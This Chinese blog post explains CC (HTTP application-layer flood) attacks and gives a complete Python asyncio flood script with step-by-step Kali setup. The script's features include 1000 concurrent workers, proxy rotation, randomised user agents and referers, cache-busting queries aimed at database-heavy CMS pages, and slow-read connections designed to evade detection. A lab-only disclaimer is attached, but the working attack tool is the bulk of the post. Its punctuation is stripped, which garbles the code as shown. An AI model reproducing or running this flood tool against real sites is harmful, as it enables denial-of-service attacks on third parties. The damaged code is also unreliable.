资讯详情

深入了解 · 专业解读

CC攻击python超绝代码

发布时间：2026/6/23 22:47:07
CC攻击python超绝代码 一、CC攻击含义CC攻击Challenge Collapsar挑战黑洞是一种针对Web应用层的分布式拒绝服务攻击DDoS其核心原理是利用大量看似合法的HTTP请求耗尽目标服务器的应用层资源如数据库连接、CPU、内存导致正常用户无法访问。二、攻击原理层级传统DDoSCC攻击攻击层面网络层/传输层L3/L4应用层L7典型手段SYN Flood、UDP Flood、ICMP FloodHTTP GET/POST Flood特征流量巨大、包特征明显流量小、请求看似正常防御难度较易防火墙/流量清洗较难难以与正常流量区分*此所有实验需要在虚拟环境下进行操作不得在真实环境下操作违反者自己承担相关法律责任*三、实验过程需要有两台虚拟机可以是kali、win7/win10...)本实验用到了win7和kali2026.1进行操作前期准备1、phpStudy或者小皮(都一个东西来启动服务2、部署DVWA靶场环境或者自己写一个有数据库前后端的网3、进入kali的root模式在进行操作(1)在kali中下载好依赖pip install aiohttp aiohttp-socks如果root㉿kali)-[~]显示这中情况先打下面这个命令使其回到桌面文件夹下在操作cd /home/kali/Desktop2用vim创建py脚本 创建形式(vim /创建地址/文件名字.py本处hhh为本人乱起的可以根据相关情况起对应的名字以及地址也要根据自己情况而定vim /home/kali/Desktop/hhh.py3将下面这个代码插入vim创建的py中【(http://192.168.252.139/cms/index.php调换为自己靶机的网站其中的并发数可以根据自己情况而调整以及单主机连池大小也可以随自己情况调整】#!/usr/bin/env python3 HTTP压力测试脚本 - 仅用于授权自有靶机测试 Author: 安全测试用途 import asyncio import aiohttp import random import string import ssl import sys from urllib.parse import urljoin, parse_qs, urlparse import argparse # 配置区 # 目标配置修改这里 TARGET http://192.168.252.139/cms/index.php # 你的靶机 # 并发配置 CONCURRENT_LIMIT 1000 # 最大并发数根据机器性能调整 CONNECTIONS_PER_HOST 500 # 单主机连接池大小 # 代理池如需使用填入代理地址 PROXIES [ # http://127.0.0.1:8080, # 示例Burp Suite代理 # http://user:passproxy:port, ] # 用户代理池更真实 USER_AGENTS [ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.0, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36, Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko), Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15, Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15, Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15, ] # 动态攻击路径针对CMS常见动态接口 DYNAMIC_ENDPOINTS [ index.php, search.php, article.php, list.php, comment.php, login.php, register.php, api.php, ajax.php, data.php, query.php, view.php ] # 动态参数模板消耗服务器资源 PARAM_TEMPLATES [ {search: {rand}, page: {rand_int}}, {id: {rand_int}, type: {rand}, cat: {rand_int}}, {keyword: {rand}, sort: {rand}, order: desc}, {user: {rand}, action: search, q: {rand}}, {cid: {rand_int}, page: {rand_int}, size: 20}, ] # 工具函数 def random_string(length8): return .join(random.choices(string.ascii_lowercase string.digits, klength)) def random_email(): domains [gmail.com, qq.com, 163.com, outlook.com, 126.com] return f{random_string(6)}{random.choice(domains)} def generate_dynamic_url(base_url): 生成动态URL尽量命中数据库查询 parsed urlparse(base_url) base_path parsed.scheme :// parsed.netloc # 随机选择端点 endpoint random.choice(DYNAMIC_ENDPOINTS) url urljoin(base_path /, endpoint) # 随机选择参数模板 template random.choice(PARAM_TEMPLATES) params {} for k, v in template.items(): if {rand} in v: params[k] v.replace({rand}, random_string(random.randint(4, 12))) elif {rand_int} in v: params[k] v.replace({rand_int}, str(random.randint(1, 99999))) else: params[k] v # 构建查询字符串 query .join([f{k}{v} for k, v in params.items()]) return f{url}?{query}_{random.randint(1000000000, 9999999999)} def generate_headers(): 生成随机请求头 ua random.choice(USER_AGENTS) accept_langs [ zh-CN,zh;q0.9,en;q0.8, en-US,en;q0.9,zh-CN;q0.8, ja-JP,ja;q0.9,en-US;q0.8, ko-KR,ko;q0.9,en;q0.8, ] return { User-Agent: ua, Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/webp,*/*;q0.8, Accept-Language: random.choice(accept_langs), Accept-Encoding: gzip, deflate, br, Connection: keep-alive, Cache-Control: no-cache, no-store, must-revalidate, Pragma: no-cache, DNT: 1, Upgrade-Insecure-Requests: 1, Sec-Fetch-Dest: document, Sec-Fetch-Mode: navigate, Sec-Fetch-Site: none, Sec-Fetch-User: ?1, # 随机Referer增加真实性 Referer: fhttps://www.google.com/search?q{random_string(10)}, } async def send_request(session, url, methodGET, dataNone, proxyNone): 发送单个请求 try: headers generate_headers() if method.upper() GET: async with session.get(url, headersheaders, proxyproxy, allow_redirectsTrue, sslFalse, timeoutaiohttp.ClientTimeout(total10)) as resp: return resp.status, len(await resp.read()) else: async with session.post(url, headersheaders, datadata, proxyproxy, allow_redirectsTrue, sslFalse, timeoutaiohttp.ClientTimeout(total10)) as resp: return resp.status, len(await resp.read()) except asyncio.TimeoutError: return TIMEOUT, 0 except aiohttp.ClientConnectorError: return CONN_ERR, 0 except Exception as e: return fERR:{str(e)[:20]}, 0 async def attack_worker(session, target, worker_id, stats, proxyNone): 攻击工作协程 while True: # 随机选择攻击模式 mode random.choices( [dynamic_get, post_form, slow_read], weights[70, 25, 5] )[0] if mode dynamic_get: url generate_dynamic_url(target) status, size await send_request(session, url, proxyproxy) elif mode post_form: url urljoin(target, search.php) data { keyword: random_string(10), page: str(random.randint(1, 999)), submit: search } status, size await send_request(session, url, methodPOST, datadata, proxyproxy) elif mode slow_read: # 慢速读取攻击保持连接 url generate_dynamic_url(target) try: headers generate_headers() async with session.get(url, headersheaders, proxyproxy, sslFalse) as resp: # 故意缓慢读取 chunk await resp.content.read(1) await asyncio.sleep(random.uniform(5, 15)) status SLOW size 1 except: status SLOW_FAIL size 0 # 统计 stats[total] 1 if isinstance(status, int) and 200 status 400: stats[success] 1 elif status in (TIMEOUT, CONN_ERR): stats[failed] 1 # 每100次打印一次 if stats[total] % 100 0: success_rate (stats[success] / stats[total]) * 100 if stats[total] 0 else 0 print(f[Worker-{worker_id}] 总计:{stats[total]} 成功:{stats[success]} f失败:{stats[failed]} 成功率:{success_rate:.1f}% | 最近状态:{status}) async def main(): 主函数 print( * 60) print(HTTP压力测试脚本 - 仅用于授权测试环境) print( * 60) print(f目标: {TARGET}) print(f并发数: {CONCURRENT_LIMIT}) print( * 60) # SSL上下文忽略证书验证 ssl_context ssl.create_default_context() ssl_context.check_hostname False ssl_context.verify_mode ssl.CERT_NONE # 创建连接池 connector aiohttp.TCPConnector( limitCONNECTIONS_PER_HOST, limit_per_hostCONNECTIONS_PER_HOST, enable_cleanup_closedTrue, force_closeFalse, sslssl_context ) # 创建会话 timeout aiohttp.ClientTimeout(total30, connect10) async with aiohttp.ClientSession(connectorconnector, timeouttimeout) as session: stats {total: 0, success: 0, failed: 0} # 启动工作协程 tasks [] for i in range(CONCURRENT_LIMIT): proxy random.choice(PROXIES) if PROXIES else None task asyncio.create_task(attack_worker(session, TARGET, i, stats, proxy)) tasks.append(task) # 运行直到手动停止 try: await asyncio.gather(*tasks) except KeyboardInterrupt: print(\n[!] 用户中断) for t in tasks: t.cancel() await asyncio.gather(*tasks, return_exceptionsTrue) print(f\n[] 测试结束 - 总计请求: {stats[total]}) if __name__ __main__: try: asyncio.run(main()) except KeyboardInterrupt: print(\n[!] 程序已退出)下面为本人运行结果图如果没出可根据自己情况看看调整任何针对未授权目标的攻击都是违法的。以下改进仅用于自有靶机授权测试或压力测试场景。但是这个代码不是在所有情况都成功任何情况都成功是不可能的真正的CC攻击需要海量真实IP代理池/肉鸡网络绕过验证码打码平台/AI识别模拟真实用户行为鼠标轨迹、停留时间针对业务逻辑如复杂数据库查询接口如果你是想测试自己靶机的抗压能力上面的脚本已经足够如果有其他解决不了的情况可以联系本人或者留言我们一起解决本人也是小白让我们一起进步)

相关新闻